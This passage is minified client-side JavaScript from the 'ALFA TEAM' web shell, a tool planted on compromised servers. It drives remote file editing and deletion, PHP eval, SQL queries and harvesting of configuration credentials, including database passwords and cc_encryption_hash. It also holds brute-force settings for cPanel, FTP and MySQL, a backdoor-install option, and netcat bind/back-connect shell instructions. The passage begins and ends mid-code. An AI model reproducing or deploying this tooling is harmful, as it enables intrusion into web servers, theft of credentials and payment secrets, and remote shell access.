href=\"javascript:void(0);\" onclick=\"g(\\'FilesTools\\',null,\\''+n+\"', 'download')\\\">D<\/a><a id=\\\"id_delete_\"+r+'\" title=\"Delete\" class=\"actions\" href=\"javascript:void(0);\" onclick=\"var chk = confirm(\\'Are You Sure For Delete # '+s+\" # ?'); chk ? g('FilesMan',null,'delete', '\"+s+\"') : '';\\\"> X <\/a><\/td><\/tr>\"}d.querySelector(\"#\"+o+\" #filemanager_last_tr\").insertAdjacentHTML(\"beforebegin\",l),alfaShowNotification(\"File(s) uploaded successfully\",\"Uploader\"),alfaFmngrContextRow()}else alfaShowNotification(\"Folder has no permission...\",\"Uploader\",\"error\");alfaCheckCurrentFilesManTab(i)}},a.open(\"POST\",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$(\"filesman_tab_\"+e).classList.value.indexOf(\"filesman-tab-active\")&&$(\"filesman_tab_\"+e).classList.add(\"tab-is-done\")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),\"GetConfig\"!=a&&\"download\"!=alfa2&&islinux&&\"\/\"!=d_mf_c.substr(0,1)&&(d_mf_c=\"\/\"+d_mf_c),\"FilesMan\"==a?(alfaloader(\"filesman_holder_\"+fm_id,\"block\"),g_action_id=\"filesman_holder_\"+fm_id):\"\"!=g_action_id?alfaloader(g_action_id,\"block\"):\"FilesTools\"!=a&&\"download\"!=alfa2&&\"GetConfig\"!=a&&(\"sql\"==a?(showEditor(\"database_window\"),g_action_id=loadPopUpDatabase(\"\")):\"FilesMan\"!=a&&(showEditor(\"options_window\"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,\"block\"));for(var data=\"a=\"+alfab64(a)+\"&c=\"+alfab64(d_mf_c)+\"&\",i=1;i<=10;i++)data+=\"alfa\"+i+\"=\"+alfab64(eval(\"d.mf.alfa\"+i+\".value\"))+\"&\";if(\"FilesMan\"==a){var pagenum=d.querySelector(\"#\"+g_action_id+\" .page-number.active-page-number\");null!=pagenum&&(data+=\"pagenum=\"+alfab64(getCookie(g_action_id+\"_page_number\")),setCookie(g_action_id+\"_page_number\",1,2012))}if(data+=\"&ajax=\"+alfab64(\"true\"),\"FilesTools\"==a&&\"download\"==alfa2){alfaLoaderOnTop(\"none\");var dl=$(\"dlForm\");return dl.a.value=alfab64(\"dlfile\"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}\"GetConfig\"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop(\"none\"),\"sql\"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if(\"FilesMan\"==a){alfaloader(\"filesman_holder_\"+fm_id,\"none\"),d.querySelector(\"#filesman_holder_\"+fm_id).innerHTML=e,fm_path=fm_path.replace(\/\\\/\\\/\/g,\"\/\"),$(\"filesman_tab_\"+fm_id).setAttribute(\"path\",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector(\"#filesman_tab_\"+fm_id+\" span\").innerHTML=l,alfaFmngrContextRow(),\"function\"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||\".\"==t.substr(0,1))&&\".\"==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor(\"options_window\")),i||alfaloader(t,\"none\"),loadPopUpOpTions(t,e),\"phpeval\"==a&&alfaLoadAceEditor(\"PhpCode\"),\"coldumper\"==a.substr(0,9)&&alfaColDumperInit()},!1,\"\"==g_action_id?\".\"+a:g_action_id),g_action_id=\"\",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,\"block\"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector(\"#\"+(\"id_db\"!=a.substr(0,5)?\"option_\"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($(\"db_host\")&&(a.querySelector(\"#db_host\").value=e.host),$(\"db_user\")&&(a.querySelector(\"#db_user\").value=e.user),$(\"db_name\")&&(a.querySelector(\"#db_name\").value=e.dbname),$(\"db_pw\")&&(a.querySelector(\"#db_pw\").value=e.password),$(\"db_prefix\")&&e.prefix&&(a.querySelector(\"#db_prefix\").value=e.prefix),$(\"cc_encryption_hash\")&&e.cc_encryption_hash&&(a.querySelector(\"#cc_encryption_hash\").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,\"none\")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(\/\\\/\\\/\/g,\"\/\").split(\"\/\");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i=\"\/\"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$(\"loader_\"+e);if(null==t&&\"block\"==a){var i=null;\"editor\"==e?i=d.querySelector(\"#editor .editor-modal\"):\"id_db\"==e.substr(0,5)?i=$(e):\"terminal_id\"==e.substr(0,11)?i=$(e):\"editor\"==e.substr(0,6)?i=$(e):\"cgiframe\"==e?i=$(\"cgiframe\"):\"filesman_holder\"==e.substr(0,15)?(i=$(e)).style.minHeight=\"300px\":i=$(\"option_\"+e),i.insertAdjacentHTML(\"afterbegin\",\"<div id='loader_\"+e+'\\' class=\"options-loader-holder\"><div parent=\"'+e+'\" onclick=\"alfaAjaxController(this);\" class=\"stopAjax\">[ Stop it ]<\/div><div class=\"alfateam-loader-text\">ALFA TEAM<\/div><div class=\"alfa-ajax-error\"><\/div><img src=\\'http:\/\/solevisible.com\/images\/loader.svg\\'><\/div>')}else\"filesman_holder\"==e.substr(0,15)&&($(e).style.minHeight=\"0\"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute(\"db_id\"),t=d.querySelector(\"#\"+a+\" div.sf\");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,\"block\");var i=t.querySelector(\"input[name=sql_host]\").value,l=t.querySelector(\"input[name=sql_login]\").value,o=t.querySelector(\"input[name=sql_pass]\").value,r=t.querySelector(\"input[name=sql_base]\")?t.querySelector(\"input[name=sql_base]\").value:t.querySelector(\"select[name=sql_base]\").value,n=t.querySelector(\"select[name=type]\").value,s=t.querySelector(\"input[name=sql_count]\").checked?\"true\":\"\";_Ajax(d.URL,\"a=\"+alfab64(\"Sql\")+\"&alfa1=\"+alfab64(\"query\")+\"&alfa2=&c=\"+alfab64(c_)+\"&charset=\"+alfab64(\"UTF-8\")+\"&type=\"+alfab64(n)+\"&sql_host=\"+alfab64(i)+\"&sql_login=\"+alfab64(l)+\"&sql_pass=\"+alfab64(o)+\"&sql_base=\"+alfab64(r)+\"&sql_count=\"+alfab64(s)+\"¤t_mysql_id=\"+alfab64(a)+\"&ajax=\"+alfab64(\"true\"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,\"none\")},!1,a)}function ctlbc(e){var a=$(\"bcStatus\"),t=$(\"bcipAction\");\"bind\"==e.value?(t.style.display=\"none\",a.innerHTML=\"<small>Press ` <font color='red'>>><\/font> ` button and run ` <font color='red'>nc server_ip port<\/font> ` on your computer<\/small>\"):(t.style.display=\"inline-block\",a.innerHTML=\"<small>Run ` <font color='red'>nc -l -v -p port<\/font> ` on your computer and press ` <font color='red'>>><\/font> ` button<\/small>\")}function $(e){return d.getElementById(e)}function addnewup(){var e=\"footerup_\"+upcount,a=\"pfooterup_\"+upcount,t=1!=upcount?\"pfooterup_\"+(upcount-1):\"pfooterup\",i=d.createElement(\"p\");i.innerHTML='<label class=\"inputfile\" for=\"'+e+'\"><span id=\"__fnameup'+upcount+'\"><\/span> <strong> Choose a file<\/strong><\/label><input id=\"'+e+'\" type=\"file\" name=\"f[]\" onChange=\"handleup(this,'+upcount+');\" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case\"all\":case\"dirs\":_alfaSet(!0,\"Disabled\");break;case\"files\":_alfaSet(!1,\"php\")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case\"phpmyadmin\":bruteSet(!0,\"Disabled\",\"http:\/\/\");break;case\"direct\":bruteSet(!1,\"2222\",\"http:\/\/\");break;case\"cp\":bruteSet(!1,\"2082\",\"http:\/\/\");break;case\"ftp\":bruteSet(!0,\"Disabled\",\"ftp:\/\/\");break;case\"mysql\":bruteSet(!1,\"3306\",\"http:\/\/\");break;case\"ftpc\":bruteSet(!1,\"21\",\"http:\/\/\")}}function bruteSet(e,a,t){c=\"21\"!=a?\"localhost\":\"ftp.example.com\",$(\"port\").disabled=e,$(\"port\").value=a,$(\"target\").value=c,$(\"protocol\").value=t}function inBackdoor(e){\"my\"==e.value?$(\"backdoor_textarea\").style.display=\"block\":$(\"backdoor_textarea\").style.display=\"none\"}function saveByKey(e){return!(\"s\"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($(\"editor_edit_area\").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector(\"#loader_\"+a);null!=l&&(firewall=\"\",403==e&&(firewall=\" ~ FireWall Detected!\"),l.querySelector(\"img\").remove(),l.querySelector(\".alfa-ajax-error\").innerHTML=e+\" ( \"+t+firewall+\" )\",alfaShowNotification(t,\"Ajax\",\"error\"))}}function alfaInitCwdContext(){d.querySelectorAll(\".header_pwd\").forEach(function(e){e.addEventListener(\"contextmenu\",function(e){var a=e.target.getAttribute(\"path\"),t=d.querySelector(\"#rightclick_menu > a[name=newtab]\");t.setAttribute(\"href\",\"javascript:void(0);\"),t.removeAttribute(\"target\"),t.onclick=function(){alfaFilesManNewTab(a,\"\/\")};var i=e.clientX,l=e.clientY;alfaSortMenuItems([\"newtab\"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+\"px\",rightclick_menu_context.left=e+\"px\",rightclick_menu_context.visibility=\"visible\",rightclick_menu_context.opacity=\"1\"}function alfaSortMenuItems(e){var a=[\"newtab\",\"link\",\"download\",\"view\",\"edit\",\"move\",\"copy\",\"rename\",\"modify\",\"permission\",\"compress\",\"extract\",\"delete\",\"view_archive\"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector(\"#rightclick_menu > a[name=\"+a[i]+\"]\").style.display=\"block\",t=!0);t||(d.querySelector(\"#rightclick_menu > a[name=\"+a[i]+\"]\").style.display=\"none\")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute(\"base\"),l=alfa_ace_editors.editor;\"eval\"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute(\"ace_id\");\"lang\"==a?l[o].session.setMode(\"ace\/mode\/\"+t):\"theme\"==a&&l[o].setTheme(\"ace\/theme\/\"+t),setCookie(\"alfa_ace_\"+a+\"_\"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;\"eval\"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute(\"ace_id\");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;\"eval\"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute(\"ace_id\"),o=i[l].getFontSize();\"+\"==a?++o:--o,i[l].setFontSize(o),setCookie(\"alfa_ace_fontsize_\"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l=\"expires=\"+i.toUTCString();document.cookie=e+\"=\"+a+\";\"+l+\";path=\/\"}function getCookie(e){var a=(\"; \"+document.cookie).split(\"; \"+e+\"=\");if(2==a.length)return a.pop().split(\";\").shift()}function editorClose(e){if(d.body.style.overflow=\"visible\",elem=$(e),elem.setAttribute(\"class\",\"editor-anim-close\"),\"editor\"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(\".editor-tabs\").innerHTML=\"\",d.querySelector(\".editor-content-holder\").innerHTML=\"\"}}else if(\"cgiloader\"==e)php_temrinal_using_cgi&&(d.querySelector(\".terminal-tabs\").innerHTML=\"\",d.querySelector(\".terminal-contents\").innerHTML=\"\"),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if(\"options_window\"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(\".php-evals\").forEach(function(e){e.removeAttribute(\"ace\")})}}else\"database_window\"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute(\"class\"),elem.style.display=\"none\",\"options_window\"==e&&(elem.querySelector(\".options_tab\").innerHTML=\"\",elem.querySelector(\".options_content\").innerHTML=\"\")},1e3),d.body.style.overflow=\"visible\"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+\"-minimized\").style.top=\"30%\":2==a.length?($(a[0]+\"-minimized\").style.top=\"20%\",$(a[1]+\"-minimized\").style.top=\"50%\"):3==a.length?($(a[0]+\"-minimized\").style.top=\"0%\",$(a[1]+\"-minimized\").style.top=\"30%\",$(a[2]+\"-minimized\").style.top=\"60%\"):4==a.length&&($(a[0]+\"-minimized\").style.top=\"0%\",$(a[1]+\"-minimized\").style.top=\"30%\",$(a[2]+\"-minimized\").style.top=\"55%\",$(a[3]+\"-minimized\").style.top=\"80%\")}function showEditor(e){if($(e).setAttribute(\"class\",\"editor-anim-show\"),$(e+\"-minimized\").setAttribute(\"class\",\"minimized-hide\"),\"editor\"==e)is_minimized=!1;else if(\"cgiloader\"==e)cgi_is_minimized=!1;else if(\"options_window\"==e){options_window_is_minimized=!1;var a=d.querySelector(\"#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done\");null!=a&&a.classList.remove(\"tab-is-done\")}else\"database_window\"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow=\"hidden\"}function editorMinimize(e){$(e).setAttribute(\"class\",\"editor-anim-minimize\"),$(e+\"-minimized\").setAttribute(\"class\",\"minimized-show\"),\"editor\"==e?is_minimized=!0:\"cgiloader\"==e?cgi_is_minimized=!0:\"options_window\"==e?options_window_is_minimized=!0:\"database_window\"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow=\"visible\"}function clearEditorHistory(){if(confirm(\"Are u Sure?\"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[\".tar.gz\",\".tar.bz2\",\".tar.z\",\".tar.xz\",\".zip\",\".zipx\",\".7z\",\".bz2\",\".gz\",\".rar\",\".tar\",\".tgz\"];for(a in t)if(new RegExp(\"(.*)(\"+t[a].replace(\/\\.\/g,\"\\\\.\")+\")$\",\"gi\").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if(\"dir\"==o&&\"..\"==e)return!1;if(\"download\"==a)return g(\"FilesTools\",i,e,\"download\"),!1;var r=\"\",n=\"\",s=\"\",c=\"\",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie(\"alfa_history_files\");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if(\"phar:\/\/\"==e.substr(0,7))f=c_;else if(-1!=e.indexOf(\"\/\")){var m=e.split(\"\/\");e=m[m.length-1],delete m[m.length-1],f=m.join(\"\/\"),islinux&&(f=\"\/\"+f)}if(void 0===o&&(o=\"\"),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),\"auto\"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(\/\\\/\/g,\"\")==f.replace(\/\\\/\/g,\"\")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace(\"file_\",\"\");else{var h=\"file_\"+(c=getRandom(10));n=alfab64(h),s=h}var b=\"editor_source_\"+c;if(null==$(b)){try{d.querySelector(\".editor-contents.editor-content-active\").classList.remove(\"editor-content-active\")}catch(e){}try{d.querySelector(\".editor-tabs .editor-tab-name.editor-tab-active\").classList.remove(\"editor-tab-active\")}catch(e){}d.querySelector(\".editor-tabs\").insertAdjacentHTML(\"beforeend\",\"<div onclick='editorTabController(this);' opt_id='\"+b+\"' id='tab_\"+b+\"' class='editor-tab-name editor-tab-active'>\"+decodeURIComponent(e)+\" <img opt_id='\"+b+\"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http:\/\/solevisible.com\/icons\/menu\/delete.svg'><\/div>\"),d.querySelector(\".editor-content-holder\").insertAdjacentHTML(\"afterbegin\",\"<div class='editor-contents editor-content-active' id='\"+b+\"'><\/div>\")}return 0==is_minimized&&\"none\"==$(\"editor\").style.display?($(\"editor\").style.display=\"block\",showEditor(\"editor\"),alfaloader(b,\"block\")):(is_minimized&&showEditor(\"editor\"),null!=$(b)?alfaloader(b,\"block\"):(alfaloader(\"editor\",\"block\"),b=\"editor\")),_Ajax(d.URL,\"a=\"+alfab64(\"FilesTools\")+\"&c=\"+alfab64(f)+\"&alfa1=\"+alfab64(e)+\"&alfa2=\"+alfab64(a)+\"&alfa3=\"+r+\"&alfa4=\"+n+\"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax=\"+alfab64(\"true\"),function(t,i){var l=$(\"tab_\"+i);try{null!=l&&((-1==l.classList.value.indexOf(\"editor-tab-active\")||is_minimized)&&(l.classList.add(\"tab-is-done\"),alfaShowNotification(\"proccess is done...\",\"Editor: \"+l.innerText)),is_minimized&&alfaUpdateOptionsBadge(\"editor\"))}catch(t){}if(\"none\"==$(\"editor\").style.display?alfaLoaderOnTop(\"none\"):alfaloader(i,\"none\"),r.length>0&&\"edit\"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf(\"editor-tab-active\")&&alfaShowNotification(\"saved...!\",\"Editor\"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification(\"proccess is done...\",\"Editor: \"+decodeURIComponent(e)),$(\"editor\").style.display=\"block\",evalJS(t),alfaLoadAceEditor(\"view_ml_content\"),\"delete\"!=a&&editor_error){var c=d.getElementsByClassName(\"is_active\");0!=c.length&&(c[0].className=\"file-holder\"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e,\" is_active\",o),\"mkfile\"==a&&g(\"FilesMan\",null)):$(n).parentNode.className+=\" is_active\"}d.body.style.overflow=\"hidden\",d.getElementsByClassName(\"filestools\")[0].setAttribute(\"fid\",n),editor_files[n]&&(d.getElementsByClassName(\"editor-path\")[0].innerHTML=(editor_files[n].pwd+\"\/\"+editor_files[n].file).replace(\/\\\/\\\/\/g,\"\/\")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$(\"alfa-ace-plugin\")){var t=document.createElement(\"script\");return t.src=\"https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/ace\/1.4.11\/ace.js\",t.id=\"alfa-ace-plugin\",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{\"allow\"==$(e).getAttribute(\"mode\")&&(a=!1)}catch(e){}if(\"view_ml_content\"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie(\"alfa_ace_theme_editor\"),l=getCookie(\"alfa_ace_fontsize_editor\");void 0===i&&(i=\"terminal\"),0==i.length&&(i=\"terminal\"),d.querySelectorAll(\".editor-ace-controller\").forEach(function(e){if(null!=e.getAttribute(\"ace\"))return!1;e.setAttribute(\"ace\",\"ok\");var t=getRandom(10),o=e.querySelector(\".view_ml_content\");o.setAttribute(\"id\",\"view_ml_content-\"+t),alfa_ace_editors.editor[\"view_ml_content-\"+t]=ace.edit(o),alfa_ace_editors.editor[\"view_ml_content-\"+t].setReadOnly(a),alfa_ace_editors.editor[\"view_ml_content-\"+t].setShowPrintMargin(!1),alfa_ace_editors.editor[\"view_ml_content-\"+t].setTheme(\"ace\/theme\/\"+i),alfa_ace_editors.editor[\"view_ml_content-\"+t].session.setMode(\"ace\/mode\/php\"),alfa_ace_editors.editor[\"view_ml_content-\"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor[\"view_ml_content-\"+t].commands.addCommand({name:\"save\",bindKey:{win:\"Ctrl-S\",mac:\"Cmd-S\"},exec:function(e){d.querySelector(\"#ace-save-btn-\"+t).click()}}),e.querySelector(\"select.ace-theme-selector\").value=i,e.querySelectorAll(\".ace-controler\").forEach(function(e){e.setAttribute(\"ace_id\",\"view_ml_content-\"+t),-1!=e.classList.value.indexOf(\"ace-save-btn\")&&e.setAttribute(\"id\",\"ace-save-btn-\"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor[\"view_ml_content-\"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie(\"alfa_ace_theme_eval\"),l=getCookie(\"alfa_ace_fontsize_eval\");void 0===i&&(i=\"terminal\"),0==i.length&&(i=\"terminal\"),d.querySelectorAll(\".php-evals\").forEach(function(e){if(null!=e.getAttribute(\"ace\"))return!1;e.setAttribute(\"ace\",\"ok\");var t=e.querySelector(\".php-evals-ace\"),o=getRandom(10);t.setAttribute(\"id\",\"phpeval-\"+o),alfa_ace_editors.eval[\"phpeval-\"+o]=ace.edit(t),alfa_ace_editors.eval[\"phpeval-\"+o].setReadOnly(a),alfa_ace_editors.eval[\"phpeval-\"+o].setShowPrintMargin(!1),alfa_ace_editors.eval[\"phpeval-\"+o].setTheme(\"ace\/theme\/\"+i),alfa_ace_editors.eval[\"phpeval-\"+o].session.setMode(\"ace\/mode\/php\"),alfa_ace_editors.eval[\"phpeval-\"+o].session.setUseWrapMode(!0),e.querySelector(\"select.ace-theme-selector\").value=i,e.querySelectorAll(\".ace-controler\").forEach(function(e){e.setAttribute(\"ace_id\",\"phpeval-\"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval[\"phpeval-\"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l=\"\";t&&0!=t&&(l=t);var o=document.createElement(\"div\");o.innerHTML=\"<div id='\"+e+\"' class='history' onClick='reopen(this);'><div class='editor-icon'>\"+loadType(a,i,e)+\"<\/div><div class='editor-file-name'>\"+a+\"<\/div><\/div><div class='history-close' onClick='removeHistory(\\\"\"+e+\"\\\");'>X<\/div>\",o.className=\"file-holder\"+l,o.addEventListener(\"mouseover\",function(){setEditorTitle(e,\"over\"),this.childNodes[1].style.opacity=\"1\"}),o.addEventListener(\"mouseout\",function(){setEditorTitle(e,\"out\"),this.childNodes[1].style.opacity=\"0\"});var r=d.getElementsByClassName(\"history-list\")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){\"none\"==a&&_Ajax(d.URL,\"a=\"+alfab64(\"checkfiletype\")+\"&path=\"+alfab64(editor_files[t].pwd)+\"&arg=\"+alfab64(editor_files[t].file),function(e){$(t).innerHTML=\"<div class='editor-icon'>\"+loadType(editor_files[t].file,e,t)+\"<\/div><div class='editor-file-name'>\"+editor_files[t].file+\"<\/div>\",editor_files[t].type=e});if(\"file\"==a){a=(a=e.split(\".\"))[a.length-1].toLowerCase();-1==[\"json\",\"ppt\",\"pptx\",\"xls\",\"xlsx\",\"msi\",\"config\",\"cgi\",\"pm\",\"c\",\"cpp\",\"cs\",\"java\",\"aspx\",\"asp\",\"db\",\"ttf\",\"eot\",\"woff\",\"woff2\",\"woff\",\"conf\",\"log\",\"apk\",\"cab\",\"bz2\",\"tgz\",\"dmg\",\"izo\",\"jar\",\"7z\",\"iso\",\"rar\",\"bat\",\"sh\",\"alfa\",\"gz\",\"tar\",\"php\",\"php4\",\"php5\",\"phtml\",\"html\",\"xhtml\",\"shtml\",\"htm\",\"zip\",\"png\",\"jpg\",\"jpeg\",\"gif\",\"bmp\",\"ico\",\"txt\",\"js\",\"rb\",\"py\",\"xml\",\"css\",\"sql\",\"htaccess\",\"pl\",\"ini\",\"dll\",\"exe\",\"mp3\",\"mp4\",\"m4a\",\"mov\",\"flv\",\"swf\",\"mkv\",\"avi\",\"wmv\",\"mpg\",\"mpeg\",\"dat\",\"pdf\",\"3gp\",\"doc\",\"docx\",\"docm\"].indexOf(a)&&(a=\"notfound\")}else a=\"folder\";return'<img src=\"http:\/\/solevisible.com\/icons\/{type}\" width=\"30\" height=\"30\">'.replace(\"{type}\",a+\".png\")}function updateFileEditor(e,a){var t=\"id_\"+e,i=\"id_chmode_\"+e,l=\"id_rename_\"+e,o=\"id_touch_\"+e,r=\"id_edit_\"+e,n=\"id_download_\"+e,d=\"id_delete_\"+e,s=$(t).getAttribute(\"ftype\");\"folder\"==s&&(s=\"dir\"),\"file\"==s?($(t).innerHTML=a,$(t).setAttribute(\"href\",\"#action=fileman&path=\"+c_+\"\/\"+a),$(t).setAttribute(\"onclick\",\"editor('\"+a+\"','auto','','','','file')\"),$(r).setAttribute(\"onclick\",\"editor('\"+a+\"','edit','','','','\"+s+\"')\"),$(n).setAttribute(\"onclick\",\"g('FilesTools',null,'\"+a+\"', 'download')\")):($(t).innerHTML=\"<b>| \"+a+\" |<\/b>\",$(t).setAttribute(\"onclick\",\"g('FilesMan', '\"+c_+\"\/\"+a+\"')\")),$(i).setAttribute(\"onclick\",\"editor('\"+a+\"','chmod','','','','\"+s+\"')\"),$(l).setAttribute(\"onclick\",\"editor('\"+a+\"','rename','','','','\"+s+\"')\"),$(o).setAttribute(\"onclick\",\"editor('\"+a+\"','touch','','','','\"+s+\"')\"),$(d).setAttribute(\"onclick\",\"var chk = confirm('Are You Sure For Delete # \"+a+\" # ?'); chk ? g('FilesMan',null,'delete', '\"+a+\"') : '';\"),$(t).setAttribute(\"fname\",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+\"\/\",i=editor_files[e].pwd+\"\/\"+a+\"\/\",l=editor_files[e].pwd+\"\/\"+editor_files[e].file+\"\/\";for(var o in i=i.replace(\/\\\/\\\/\/g,\"\/\"),l=l.replace(\/\\\/\\\/\/g,\"\/\"),-1!=(t=t.replace(\/\\\/\\\/\/g,\"\/\")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+\"\/\";-1!=(r=r.replace(\/\\\/\\\/\/g,\"\/\")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie(\"alfa_history_files\",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if(\"out\"==a&&\"\"!=editor_current_file){var t=d.querySelector(\".editor-tab-name.editor-tab-active\");e=null!=t?t.getAttribute(\"opt_id\").replace(\"editor_source_\",\"file_\"):editor_current_file}editor_files[e]&&(d.getElementsByClassName(\"editor-path\")[0].innerHTML=(editor_files[e].pwd+\"\/\"+editor_files[e].file).replace(\/\\\/\\\/\/g,\"\/\"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName(\"filestools\")[0];a&&a.getAttribute(\"fid\")==e&&(a.outerHTML=\"\"),editor_current_file==e&&(editor_current_file=\"\"),updateCookieEditor()}function getRandom(e){for(var a=\"\",t=\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute(\"id\"),t=editor_files[a].pwd,i=editor_files[a].file,l=\"editor_source_\"+a.replace(\"file_\",\"\");null==$(l)?editor(i,\"auto\",\"\",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute(\"ace_id\");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand(\"copy\"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification(\"text copied\",\"Editor\")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t=\"\",i=\"\",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return 